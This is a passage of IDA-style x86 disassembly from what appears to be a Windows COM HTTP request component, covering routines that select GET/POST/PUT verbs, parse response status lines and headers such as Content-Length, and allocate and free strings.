and word ptr [eax+ecx*2], 0
push eax
jmp short loc_69B7BBAD
; ---------------------------------------------------------------------------
loc_69B7BBA8: ; CODE XREF: sub_69B7BA94+88j
push offset word_69B26224 ; OLECHAR *
loc_69B7BBAD: ; CODE XREF: sub_69B7BA94+112j
call SysAllocString
mov [edi], eax
test eax, eax
jnz short loc_69B7BBBE
mov esi, 8007000Eh
loc_69B7BBBE: ; CODE XREF: sub_69B7BA94+102j
; sub_69B7BA94+123j
cmp dword ptr [ebp-38h], 0
jz short loc_69B7BBCC
push dword ptr [ebp-38h]
call sub_69B1B2B7
loc_69B7BBCC: ; CODE XREF: sub_69B7BA94+12Ej
mov eax, [ebp-30h]
test eax, eax
jz short loc_69B7BBD9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7BBD9: ; CODE XREF: sub_69B7BA94+13Dj
mov eax, [ebp-34h]
test eax, eax
jz short loc_69B7BBE6
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7BBE6: ; CODE XREF: sub_69B7BA94+14Aj
and dword ptr [ebp-34h], 0
push dword ptr [ebp-2Ch]
push esi
mov ecx, ebx
call sub_69B7B3C8
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B7BC08: ; CODE XREF: sub_69B7BA94+20j
call sub_69B1853C
retn 8
sub_69B7BA94 endp
; ---------------------------------------------------------------------------
dword_69B7BC10 dd 0FFFFFFFFh dd offset loc_69B7BB37
dd offset loc_69B7BB40
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7BC1C(int, VARIANTARG *pvarg)
sub_69B7BC1C proc near ; DATA XREF: .text:69B145F4o
var_8 = dword ptr -8
ppstm = dword ptr -4
arg_0 = dword ptr 8
pvarg = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+ppstm], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, [ebp+pvarg]
test edi, edi
jnz short loc_69B7BC3D
mov esi, 80070057h
jmp short loc_69B7BC7A
; ---------------------------------------------------------------------------
loc_69B7BC3D: ; CODE XREF: sub_69B7BC1C+18j
cmp dword ptr [ebx+3Ch], 5
jz short loc_69B7BC5B
mov al, [ebx+0B2h]
neg al
sbb eax, eax
and eax, 0FFFFC005h
add eax, 80004005h
mov esi, eax
jmp short loc_69B7BC73
; ---------------------------------------------------------------------------
loc_69B7BC5B: ; CODE XREF: sub_69B7BC1C+25j
push edi ; pvarg
call VariantInit
lea eax, [ebp+ppstm]
push eax ; ppstm
mov ecx, ebx
call sub_69B7AFDD
mov esi, eax
test esi, esi
jge short loc_69B7BC7F
loc_69B7BC73: ; CODE XREF: sub_69B7BC1C+3Dj
push edi ; pvarg
call VariantClear
loc_69B7BC7A: ; CODE XREF: sub_69B7BC1C+1Fj
mov [ebp+var_8], esi
jmp short loc_69B7BC8A
; ---------------------------------------------------------------------------
loc_69B7BC7F: ; CODE XREF: sub_69B7BC1C+55j
mov eax, [ebp+ppstm]
mov word ptr [edi], 0Dh
mov [edi+8], eax
loc_69B7BC8A: ; CODE XREF: sub_69B7BC1C+61j
push [ebp+var_8]
mov ecx, ebx
push esi
call sub_69B7B3C8
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 8
sub_69B7BC1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7BC9E proc near ; DATA XREF: .text:69B2A608o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+24h]
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_8]
or eax, 100000h
mov [ecx], eax
mov ecx, [esi]
mov [ebp+arg_0], ecx
push edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd
push 3
mov ecx, edx
pop edx
and ecx, edx
rep stosb
mov eax, [ebp+arg_0]
or byte ptr [esi+26h], 80h
push offset aGet ; "GET"
mov [esi], eax
mov [esi+14h], edx
push dword ptr [ebx+54h]
call sub_69B2ED17
test eax, eax
jnz short loc_69B7BCF7
and [esi+18h], eax
jmp short loc_69B7BD66
; ---------------------------------------------------------------------------
loc_69B7BCF7: ; CODE XREF: sub_69B7BC9E+52j
push offset aPost ; "POST"
push dword ptr [ebx+54h]
call sub_69B2ED17
test eax, eax
jnz short loc_69B7BD17
mov eax, [ebp+arg_4]
mov dword ptr [esi+18h], 1
or dword ptr [eax], 20h
jmp short loc_69B7BD66
; ---------------------------------------------------------------------------
loc_69B7BD17: ; CODE XREF: sub_69B7BC9E+68j
push offset aPut ; "PUT"
push dword ptr [ebx+54h]
call sub_69B2ED17
test eax, eax
jnz short loc_69B7BD31
mov dword ptr [esi+18h], 2
jmp short loc_69B7BD66
; ---------------------------------------------------------------------------
loc_69B7BD31: ; CODE XREF: sub_69B7BC9E+88j
push dword ptr [ebx+54h]
call sub_69B84C68
pop ecx
lea edi, [eax+eax+2]
push edi ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov [esi+1Ch], eax
jnz short loc_69B7BD55
mov [ebp+var_4], 8007000Eh
jmp short loc_69B7BDA4
; ---------------------------------------------------------------------------
loc_69B7BD55: ; CODE XREF: sub_69B7BC9E+ACj
push dword ptr [ebx+54h]
push edi
push eax
call sub_69B7B48A
mov dword ptr [esi+18h], 3
loc_69B7BD66: ; CODE XREF: sub_69B7BC9E+57j
; sub_69B7BC9E+77j ...
xor edx, edx
cmp [ebx+20h], edx
jz short loc_69B7BDA4
cmp [ebx+70h], edx
jz short loc_69B7BDA4
xor ecx, ecx
push ecx
push ecx
push edx
mov dword ptr [esi+8], 4
mov eax, [ebx+20h]
mov edi, [eax]
push ecx
push eax
call dword ptr [edi+14h]
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B7BDA4
mov eax, [ebx+20h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebx+20h]
mov [esi+0Ch], eax
mov eax, [ebx+70h]
mov [esi+20h], eax
loc_69B7BDA4: ; CODE XREF: sub_69B7BC9E+B5j
; sub_69B7BC9E+CDj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B7BC9E endp
; ---------------------------------------------------------------------------
align 10h
aPut: ; DATA XREF: sub_69B7BC9E:loc_69B7BD17o
unicode 0, <PUT>,0
aPost: ; DATA XREF: sub_69B7BC9E:loc_69B7BCF7o
unicode 0, <POST>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7BDC2 proc near ; DATA XREF: .text:69B2A60Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_4], 0Eh
push esi
push edi
mov [ebp+var_4], ebx
jnz short loc_69B7BE0D
cmp [ebp+arg_C], 1
jb loc_69B7BE7E
mov esi, [ebp+arg_0]
push dword ptr [esi+68h]
call sub_69B84C68
pop ecx
lea edi, [eax+eax+2]
push edi ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
jz short loc_69B7BE70
push dword ptr [esi+68h]
loc_69B7BE01: ; CODE XREF: sub_69B7BDC2+7Dj
; sub_69B7BDC2+BAj
push edi
push eax
call sub_69B7B48A
xor ebx, ebx
inc ebx
jmp short loc_69B7BE85
; ---------------------------------------------------------------------------
loc_69B7BE0D: ; CODE XREF: sub_69B7BDC2+10j
cmp [ebp+arg_4], 5
jnz short loc_69B7BE41
cmp [ebp+arg_C], 1
jb short loc_69B7BE7E
mov esi, [ebp+arg_0]
cmp byte ptr [esi+84h], 0
jz short loc_69B7BE7E
mov edi, [esi+5Ch]
lea edi, [edi+edi+2]
push edi ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
jz short loc_69B7BE70
push dword ptr [esi+58h]
jmp short loc_69B7BE01
; ---------------------------------------------------------------------------
loc_69B7BE41: ; CODE XREF: sub_69B7BDC2+4Fj
cmp [ebp+arg_4], 6
jnz short loc_69B7BE7E
cmp [ebp+arg_C], 1
jb short loc_69B7BE7E
mov esi, [ebp+arg_0]
cmp byte ptr [esi+84h], 0
jz short loc_69B7BE7E
mov edi, [esi+64h]
lea edi, [edi+edi+2]
push edi ; cb
call ds:CoTaskMemAlloc
test eax, eax
mov ecx, [ebp+arg_8]
mov [ecx], eax
jnz short loc_69B7BE79
loc_69B7BE70: ; CODE XREF: sub_69B7BDC2+3Aj
; sub_69B7BDC2+78j
mov [ebp+var_4], 8007000Eh
jmp short loc_69B7BE85
; ---------------------------------------------------------------------------
loc_69B7BE79: ; CODE XREF: sub_69B7BDC2+ACj
push dword ptr [esi+60h]
jmp short loc_69B7BE01
; ---------------------------------------------------------------------------
loc_69B7BE7E: ; CODE XREF: sub_69B7BDC2+16j
; sub_69B7BDC2+55j ...
mov [ebp+var_4], 800C0012h
loc_69B7BE85: ; CODE XREF: sub_69B7BDC2+49j
; sub_69B7BDC2+B5j
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_69B7BE8E
mov [eax], ebx
loc_69B7BE8E: ; CODE XREF: sub_69B7BDC2+C8j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B7BDC2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7BE98 proc near ; DATA XREF: .text:69B2A5F8o
var_8 = dword ptr -8
pv = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_8]
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
mov [eax], edi
mov [ecx], edi
mov ecx, [ebp+arg_C]
xor ebx, ebx
mov [ecx], edi
cmp [esi+80h], bl
mov [ebp+var_8], edi
mov [ebp+pv], edi
jz short loc_69B7BF22
mov eax, [esi+58h]
mov edi, ds:CoTaskMemAlloc
lea eax, [eax+eax+2]
push eax ; cb
mov [ebp+arg_4], eax
call edi ; CoTaskMemAlloc
mov ebx, eax
test ebx, ebx
jz short loc_69B7BEFF
push dword ptr [esi+54h]
push [ebp+arg_4]
push ebx
call sub_69B7B48A
mov eax, [esi+60h]
lea eax, [eax+eax+2]
push eax ; cb
mov [ebp+arg_4], eax
call edi ; CoTaskMemAlloc
mov edi, eax
test edi, edi
mov [ebp+pv], edi
jnz short loc_69B7BF0A
loc_69B7BEFF: ; CODE XREF: sub_69B7BE98+43j
mov [ebp+var_8], 8007000Eh
xor edi, edi
jmp short loc_69B7BF31
; ---------------------------------------------------------------------------
loc_69B7BF0A: ; CODE XREF: sub_69B7BE98+65j
push dword ptr [esi+5Ch]
push [ebp+arg_4]
push edi
call sub_69B7B48A
mov eax, [ebp+arg_8]
mov [eax], ebx
mov eax, [ebp+arg_C]
mov [eax], edi
jmp short loc_69B7BF48
; ---------------------------------------------------------------------------
loc_69B7BF22: ; CODE XREF: sub_69B7BE98+2Aj
push eax
add esi, 4
mov ecx, [esi]
push offset dword_69B2AF90
push esi
call dword ptr [ecx+0Ch]
loc_69B7BF31: ; CODE XREF: sub_69B7BE98+70j
cmp ebx, edi
mov esi, ds:CoTaskMemFree
jz short loc_69B7BF3E
push ebx ; pv
call esi ; CoTaskMemFree
loc_69B7BF3E: ; CODE XREF: sub_69B7BE98+A1j
cmp [ebp+pv], edi
jz short loc_69B7BF48
push [ebp+pv] ; pv
call esi ; CoTaskMemFree
loc_69B7BF48: ; CODE XREF: sub_69B7BE98+88j
; sub_69B7BE98+A9j
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B7BE98 endp
; =============== S U B R O U T I N E =======================================
sub_69B7BF52 proc near ; CODE XREF: sub_69B7C60C+47p
; sub_69B7DE94+4Bp
arg_0 = byte ptr 4
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea eax, [esi+4]
push ebx
mov [eax], ebx
push eax
mov [esi], ebx
call sub_69B17320
mov al, [esp+8+arg_0]
mov [esi+15h], al
mov [esi+8], ebx
mov [esi+0Ch], ebx
mov [esi+10h], ebx
mov [esi+14h], bl
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B7BF52 endp
; =============== S U B R O U T I N E =======================================
sub_69B7BF80 proc near ; CODE XREF: sub_69B7C60C+224p
; sub_69B7DBC3+5Cp
push esi
mov esi, ecx
call sub_69B7B40D
add esi, 4
push esi
call sub_69B17230
pop esi
retn
sub_69B7BF80 endp
; =============== S U B R O U T I N E =======================================
sub_69B7BF93 proc near ; CODE XREF: sub_69B7C181+12p
; sub_69B7C1E2+9p
lpString = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp [edi+14h], bl
jz loc_69B7C17C
push ebp
push dword ptr [edi] ; lpString
call ds:lstrlenW ; lstrlenW
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
mov ebp, eax
cmp ebp, ebx
mov [esp+14h+var_4], ebp
jz loc_69B7C17B
push esi
push dword ptr [edi]
push ebp
call sub_69B84AF5
lea esi, [edi+4]
cmp [esi], ebx
pop ecx
pop ecx
jnz short loc_69B7BFF0
push ebx
push 1
push 10h
call sub_69B1A768
push eax
push esi
call sub_69B17320
cmp [esi], ebx
jz loc_69B7C17A
loc_69B7BFF0: ; CODE XREF: sub_69B7BF93+42j
cmp [edi+15h], bl
mov esi, ebp
jz loc_69B7C165
xor eax, eax
mov ax, [ebp+0]
jmp short loc_69B7C00E
; ---------------------------------------------------------------------------
loc_69B7C003: ; CODE XREF: sub_69B7BF93+7Ej
cmp ax, 20h
jnz short loc_69B7C013
inc esi
inc esi
mov ax, [esi]
loc_69B7C00E: ; CODE XREF: sub_69B7BF93+6Ej
cmp ax, bx
jnz short loc_69B7C003
loc_69B7C013: ; CODE XREF: sub_69B7BF93+74j
mov ax, [esi]
cmp ax, bx
jz short loc_69B7C03D
loc_69B7C01B: ; CODE XREF: sub_69B7BF93+96j
cmp ax, 20h
jz short loc_69B7C035
inc esi
inc esi
mov ax, [esi]
cmp ax, bx
jnz short loc_69B7C01B
jmp short loc_69B7C035
; ---------------------------------------------------------------------------
loc_69B7C02D: ; CODE XREF: sub_69B7BF93+A8j
cmp ax, 20h
jnz short loc_69B7C03D
inc esi
inc esi
loc_69B7C035: ; CODE XREF: sub_69B7BF93+8Cj
; sub_69B7BF93+98j
mov ax, [esi]
cmp ax, bx
jnz short loc_69B7C02D
loc_69B7C03D: ; CODE XREF: sub_69B7BF93+86j
; sub_69B7BF93+9Ej
mov eax, esi
jmp short loc_69B7C049
; ---------------------------------------------------------------------------
loc_69B7C041: ; CODE XREF: sub_69B7BF93+B9j
cmp word ptr [esi], 20h
jz short loc_69B7C04E
inc esi
inc esi
loc_69B7C049: ; CODE XREF: sub_69B7BF93+ACj
cmp [esi], bx
jnz short loc_69B7C041
loc_69B7C04E: ; CODE XREF: sub_69B7BF93+B2j
mov [esi], bx
inc esi
push eax ; lpSrc
inc esi
call ds:StrToIntW ; StrToIntW
mov [edi+0Ch], eax
jmp short loc_69B7C067
; ---------------------------------------------------------------------------
loc_69B7C05F: ; CODE XREF: sub_69B7BF93+DAj
cmp ax, 20h
jnz short loc_69B7C06F
inc esi
inc esi
loc_69B7C067: ; CODE XREF: sub_69B7BF93+CAj
mov ax, [esi]
cmp ax, bx
jnz short loc_69B7C05F
loc_69B7C06F: ; CODE XREF: sub_69B7BF93+D0j
mov ebp, esi
jmp short loc_69B7C07B
; ---------------------------------------------------------------------------
loc_69B7C073: ; CODE XREF: sub_69B7BF93+EBj
cmp word ptr [esi], 0Dh
jz short loc_69B7C080
inc esi
inc esi
loc_69B7C07B: ; CODE XREF: sub_69B7BF93+DEj
cmp [esi], bx
jnz short loc_69B7C073
loc_69B7C080: ; CODE XREF: sub_69B7BF93+E4j
mov [esi], bx
inc esi
push ebp ; lpString
inc esi
call ds:lstrlenW ; lstrlenW
lea eax, [eax+eax+2]
push eax
call sub_69B11E44
cmp eax, ebx
mov [edi+10h], eax
jz loc_69B7C165
push ebp
push eax
call sub_69B84AF5
pop ecx
pop ecx
jmp loc_69B7C165
; ---------------------------------------------------------------------------
loc_69B7C0AF: ; CODE XREF: sub_69B7BF93+13Cj
; sub_69B7BF93+1D5j
mov ax, [esi]
cmp ax, 20h
jz short loc_69B7C0CA
cmp ax, 9
jz short loc_69B7C0CA
cmp ax, 0Dh
jz short loc_69B7C0CA
cmp ax, 0Ah
jnz short loc_69B7C0D1
loc_69B7C0CA: ; CODE XREF: sub_69B7BF93+123j
; sub_69B7BF93+129j ...
inc esi
inc esi
cmp [esi], bx
jnz short loc_69B7C0AF
loc_69B7C0D1: ; CODE XREF: sub_69B7BF93+135j
mov ecx, esi
mov [esp+18h+lpString], ebx
jmp short loc_69B7C0EA
; ---------------------------------------------------------------------------
loc_69B7C0D9: ; CODE XREF: sub_69B7BF93+15Aj
mov ax, [esi]
cmp ax, 0Dh
jz short loc_69B7C0F1
cmp ax, 3Ah
jz short loc_69B7C0F8
inc esi
inc esi
loc_69B7C0EA: ; CODE XREF: sub_69B7BF93+144j
cmp [esi], bx
jnz short loc_69B7C0D9
jmp short loc_69B7C116
; ---------------------------------------------------------------------------
loc_69B7C0F1: ; CODE XREF: sub_69B7BF93+14Dj
mov [esi], bx
inc esi
inc esi
jmp short loc_69B7C116
; ---------------------------------------------------------------------------
loc_69B7C0F8: ; CODE XREF: sub_69B7BF93+153j
mov [esi], bx
inc esi
inc esi
mov [esp+18h+lpString], esi
jz short loc_69B7C116
jmp short loc_69B7C10D
; ---------------------------------------------------------------------------
loc_69B7C105: ; CODE XREF: sub_69B7BF93+17Dj
cmp word ptr [esi], 20h
jnz short loc_69B7C112
inc esi
inc esi
loc_69B7C10D: ; CODE XREF: sub_69B7BF93+170j
cmp [esi], bx
jnz short loc_69B7C105
loc_69B7C112: ; CODE XREF: sub_69B7BF93+176j
mov [esp+18h+lpString], esi
loc_69B7C116: ; CODE XREF: sub_69B7BF93+15Cj
; sub_69B7BF93+163j ...
cmp [esp+18h+lpString], ebx
jz short loc_69B7C165
jmp short loc_69B7C126
; ---------------------------------------------------------------------------
loc_69B7C11E: ; CODE XREF: sub_69B7BF93+196j
cmp word ptr [esi], 0Dh
jz short loc_69B7C12D
inc esi
inc esi
loc_69B7C126: ; CODE XREF: sub_69B7BF93+189j
cmp [esi], bx
jnz short loc_69B7C11E
jmp short loc_69B7C132
; ---------------------------------------------------------------------------
loc_69B7C12D: ; CODE XREF: sub_69B7BF93+18Fj
mov [esi], bx
inc esi
inc esi
loc_69B7C132: ; CODE XREF: sub_69B7BF93+198j
push ecx ; lpString
call sub_69B1A587
push [esp+18h+lpString] ; lpString
mov ebp, eax
call sub_69B1A587
mov ecx, ebp
mov [esp+18h+lpString], eax
call sub_69B2F202
cmp eax, ebx
jz short loc_69B7C17A
cmp [esp+18h+lpString], ebx
jz short loc_69B7C17A
push [esp+18h+lpString]
mov ecx, [edi+4]
push eax
call sub_69B18FB8
loc_69B7C165: ; CODE XREF: sub_69B7BF93+62j
; sub_69B7BF93+108j ...
cmp [esi], bx
jnz loc_69B7C0AF
push [esp+18h+var_4]
mov [edi+14h], bl
call sub_69B1B2B7
loc_69B7C17A: ; CODE XREF: sub_69B7BF93+57j
; sub_69B7BF93+1BDj ...
pop esi
loc_69B7C17B: ; CODE XREF: sub_69B7BF93+2Cj
pop ebp
loc_69B7C17C: ; CODE XREF: sub_69B7BF93+Bj
pop edi
pop ebx
pop ecx
pop ecx
retn
sub_69B7BF93 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B7C181(LPCWSTR lpString, int)
sub_69B7C181 proc near ; CODE XREF: sub_69B7C40C+42p
; sub_69B7C89C+67p ...
lpString = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_4]
xor ebx, ebx
mov esi, ecx
mov [edi], ebx
cmp [esi+14h], bl
jz short loc_69B7C198
call sub_69B7BF93
loc_69B7C198: ; CODE XREF: sub_69B7C181+10j
cmp [esp+0Ch+lpString], ebx
jz short loc_69B7C1D6
cmp [esi+4], ebx
jz short loc_69B7C1DA
push [esp+0Ch+lpString] ; lpString
call sub_69B1A587
cmp eax, ebx
jz short loc_69B7C1D6
mov ecx, eax
call sub_69B2F202
cmp eax, ebx
jz short loc_69B7C1D6
mov ecx, [esi+4]
push eax
call sub_69B1980A
cmp eax, ebx
jz short loc_69B7C1DA
cmp [eax+8], ebx
jz short loc_69B7C1DA
mov eax, [eax+0Ch]
cmp eax, ebx
mov [edi], eax
jnz short loc_69B7C1DA
loc_69B7C1D6: ; CODE XREF: sub_69B7C181+1Bj
; sub_69B7C181+2Dj ...
xor al, al
jmp short loc_69B7C1DC
; ---------------------------------------------------------------------------
loc_69B7C1DA: ; CODE XREF: sub_69B7C181+20j
; sub_69B7C181+45j ...
mov al, 1
loc_69B7C1DC: ; CODE XREF: sub_69B7C181+57j
pop edi
pop esi
pop ebx
retn 8
sub_69B7C181 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B7C1E2(LPCWSTR lpString)
sub_69B7C1E2 proc near ; CODE XREF: sub_69B7C60C+89p
; sub_69B7C60C+154p
lpString = dword ptr 4
push esi
mov esi, ecx
cmp byte ptr [esi+14h], 0
jz short loc_69B7C1F0
call sub_69B7BF93
loc_69B7C1F0: ; CODE XREF: sub_69B7C1E2+7j
cmp [esp+4+lpString], 0
jz short loc_69B7C20A
cmp dword ptr [esi+4], 0
jz short loc_69B7C20A
push [esp+4+lpString] ; lpString
call sub_69B1A587
test eax, eax
jnz short loc_69B7C20E
loc_69B7C20A: ; CODE XREF: sub_69B7C1E2+13j
; sub_69B7C1E2+19j
xor al, al
jmp short loc_69B7C224
; ---------------------------------------------------------------------------
loc_69B7C20E: ; CODE XREF: sub_69B7C1E2+26j
mov ecx, eax
call sub_69B2F202
mov ecx, [esi+4]
push eax
call sub_69B1980A
neg eax
sbb eax, eax
neg eax
loc_69B7C224: ; CODE XREF: sub_69B7C1E2+2Aj
pop esi
retn 4
sub_69B7C1E2 endp
; =============== S U B R O U T I N E =======================================
sub_69B7C228 proc near ; CODE XREF: sub_69B7DCB7+4p
push esi
mov esi, ecx
call sub_69B17355
mov ecx, esi
call sub_69B183BB
cmp eax, 1
jnz short loc_69B7C251
mov ecx, esi
call sub_69B7B4AF
push 0
lea eax, [esi+0B4h]
push eax
call sub_69B17320
loc_69B7C251: ; CODE XREF: sub_69B7C228+12j
mov ecx, esi
pop esi
jmp sub_69B183BB
sub_69B7C228 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7C259(LPCWSTR lpString, int, int)
sub_69B7C259 proc near ; CODE XREF: sub_69B7C36E+3Dp
; sub_69B7D841+2Bp ...
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
mov esi, ecx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B7C27C
mov eax, 80004005h
jmp loc_69B7C368
; ---------------------------------------------------------------------------
loc_69B7C27C: ; CODE XREF: sub_69B7C259+17j
push edi
push ebx
push eax
lea ecx, [ebp+var_14]
call sub_69B1A8C7
cmp [ebp+lpString], ebx
mov [ebp+var_4], ebx
jz loc_69B7C34C
cmp [ebp+arg_4], ebx
jz loc_69B7C34C
push [ebp+lpString] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F202
mov ecx, eax
call sub_69B2F43C
push offset aContentLength ; "Content-Length"
mov ecx, eax
mov [ebp+lpString], eax
call sub_69B2EF33
test al, al
jnz loc_69B7C353
add esi, 64h
cmp [esi], ebx
jnz short loc_69B7C2E1
push ebx
push 1
push 10h
call sub_69B1A768
push eax
push esi
call sub_69B17320
loc_69B7C2E1: ; CODE XREF: sub_69B7C259+75j
push [ebp+arg_4] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F43C
mov ecx, [esi]
mov edi, eax
cmp [edi+8], ebx
jnz short loc_69B7C303
push [ebp+lpString]
call sub_69B17DC6
jmp short loc_69B7C353
; ---------------------------------------------------------------------------
loc_69B7C303: ; CODE XREF: sub_69B7C259+9Ej
cmp byte ptr [ebp+arg_8], bl
jz short loc_69B7C313
push edi
loc_69B7C309: ; CODE XREF: sub_69B7C259+E4j
push [ebp+lpString]
call sub_69B3182D
jmp short loc_69B7C353
; ---------------------------------------------------------------------------
loc_69B7C313: ; CODE XREF: sub_69B7C259+ADj
push [ebp+lpString]
call sub_69B1980A
cmp eax, ebx
mov [ebp+arg_8], eax
jz short loc_69B7C33F
push ebx
push edi
push offset asc_69B2A5AC ; ", "
call sub_69B1A587
push eax
push [ebp+arg_8]
call sub_69B2F2CA
mov ecx, [esi]
add esp, 10h
push eax
jmp short loc_69B7C309
; ---------------------------------------------------------------------------
loc_69B7C33F: ; CODE XREF: sub_69B7C259+C7j
mov ecx, [esi]
push edi
push [ebp+lpString]
call sub_69B18FB8
jmp short loc_69B7C353
; ---------------------------------------------------------------------------
loc_69B7C34C: ; CODE XREF: sub_69B7C259+34j
; sub_69B7C259+3Dj
mov [ebp+var_4], 80070057h
loc_69B7C353: ; CODE XREF: sub_69B7C259+6Aj
; sub_69B7C259+A8j ...
lea ecx, [ebp+var_14]
call sub_69B1976C
push [ebp+var_8]
call dword_69B92944
mov eax, [ebp+var_4]
pop edi
loc_69B7C368: ; CODE XREF: sub_69B7C259+1Ej
pop esi
pop ebx
leave
retn 0Ch
sub_69B7C259 endp
; =============== S U B R O U T I N E =======================================
sub_69B7C36E proc near ; DATA XREF: .text:69B145CCo
push 10h
push offset dword_69B7C400
call sub_69B19C5C
xor esi, esi
mov [ebp-1Ch], esi
cmp [ebp+0Ch], esi
jz short loc_69B7C3DB
push dword ptr [ebp+0Ch]
call sub_69B84C68
pop ecx
test eax, eax
jz short loc_69B7C3DB
mov ecx, [ebp+8]
cmp dword ptr [ecx+3Ch], 1
jz short loc_69B7C3A1
mov esi, 80004005h
jmp short loc_69B7C3E0
; ---------------------------------------------------------------------------
loc_69B7C3A1: ; CODE XREF: sub_69B7C36E+2Aj
mov [ebp-4], esi
push esi ; int
push dword ptr [ebp+10h] ; int
push dword ptr [ebp+0Ch] ; lpString
call sub_69B7C259
mov esi, eax
mov [ebp-20h], esi
jmp short loc_69B7C3D1
; ---------------------------------------------------------------------------
loc_69B7C3B7: ; DATA XREF: .text:69B7C404o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7C3C0: ; DATA XREF: .text:69B7C408o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B7C3D1: ; CODE XREF: sub_69B7C36E+47j
or dword ptr [ebp-4], 0FFFFFFFFh
test esi, esi
jge short loc_69B7C3E3
jmp short loc_69B7C3E0
; ---------------------------------------------------------------------------
loc_69B7C3DB: ; CODE XREF: sub_69B7C36E+14j
; sub_69B7C36E+21j
mov esi, 80070057h
loc_69B7C3E0: ; CODE XREF: sub_69B7C36E+31j
; sub_69B7C36E+6Bj
mov [ebp-1Ch], esi
loc_69B7C3E3: ; CODE XREF: sub_69B7C36E+69j
push dword ptr [ebp-1Ch]
push esi
mov ecx, [ebp+8]
call sub_69B7B3C8
mov eax, esi
call sub_69B1853C
retn 0Ch
sub_69B7C36E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B7C400 dd 0FFFFFFFFh dd offset loc_69B7C3B7
dd offset loc_69B7C3C0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7C40C(int, LPCWSTR lpString, int)
sub_69B7C40C proc near ; DATA XREF: .text:69B145D0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
lpString = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
cmp [ebp+lpString], edi
mov [ebp+var_C], edi
mov [ebp+var_8], edi
mov [ebp+var_4], edi
jz short loc_69B7C485
mov esi, [ebp+arg_8]
cmp esi, edi
jz short loc_69B7C485
push [ebp+lpString]
call sub_69B84C68
test eax, eax
pop ecx
jz short loc_69B7C485
cmp dword ptr [ebx+3Ch], 5
jl short loc_69B7C457
lea eax, [ebp+var_4]
push eax ; int
push [ebp+lpString] ; lpString
lea ecx, [ebx+68h]
mov [esi], edi
call sub_69B7C181
test al, al
jnz short loc_69B7C45E
loc_69B7C457: ; CODE XREF: sub_69B7C40C+34j
mov esi, 80004005h
jmp short loc_69B7C48A
; ---------------------------------------------------------------------------
loc_69B7C45E: ; CODE XREF: sub_69B7C40C+49j
mov eax, [ebp+var_4]
cmp eax, edi
jz short loc_69B7C46D
cmp [eax], di
jz short loc_69B7C46D
push eax
jmp short loc_69B7C472
; ---------------------------------------------------------------------------
loc_69B7C46D: ; CODE XREF: sub_69B7C40C+57j
; sub_69B7C40C+5Cj
push offset word_69B26224 ; OLECHAR *
